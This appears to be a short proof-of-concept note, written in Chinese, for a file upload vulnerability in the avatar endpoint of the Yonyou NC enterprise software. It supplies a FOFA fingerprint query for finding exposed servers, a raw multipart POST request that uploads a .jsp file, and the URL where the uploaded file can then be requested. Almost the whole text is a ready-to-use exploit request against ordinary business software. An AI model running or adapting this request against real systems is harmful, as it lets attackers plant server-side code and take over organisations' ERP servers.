用友NC-avatar接口存在文件上传漏洞.md

用友NC-avatar接口存在文件上传漏洞

fofa

body="/Client/Uclient/UClient.exe"

poc

POST /uapim/upload/avatar?usercode=1&fileType=jsp HTTP/1.1
Host: 192.168.63.129:8088
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEXmnamw5gVZG9KAQ
User-Agent: Mozilla/5.0 

------WebKitFormBoundaryEXmnamw5gVZG9KAQ
Content-Disposition: form-data; name="file"; filename="111.jsp"
Content-Type: application/octet-stream

3999
------WebKitFormBoundaryEXmnamw5gVZG9KAQ--

文件上传路径

GET /uapim/static/pages/photo/1/1.1713358789182.jsp HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Accept-Encoding: gzip, deflate, br

http://192.168.63.129:8088/uapim/static/pages/photo/1/1.1713358789182.jsp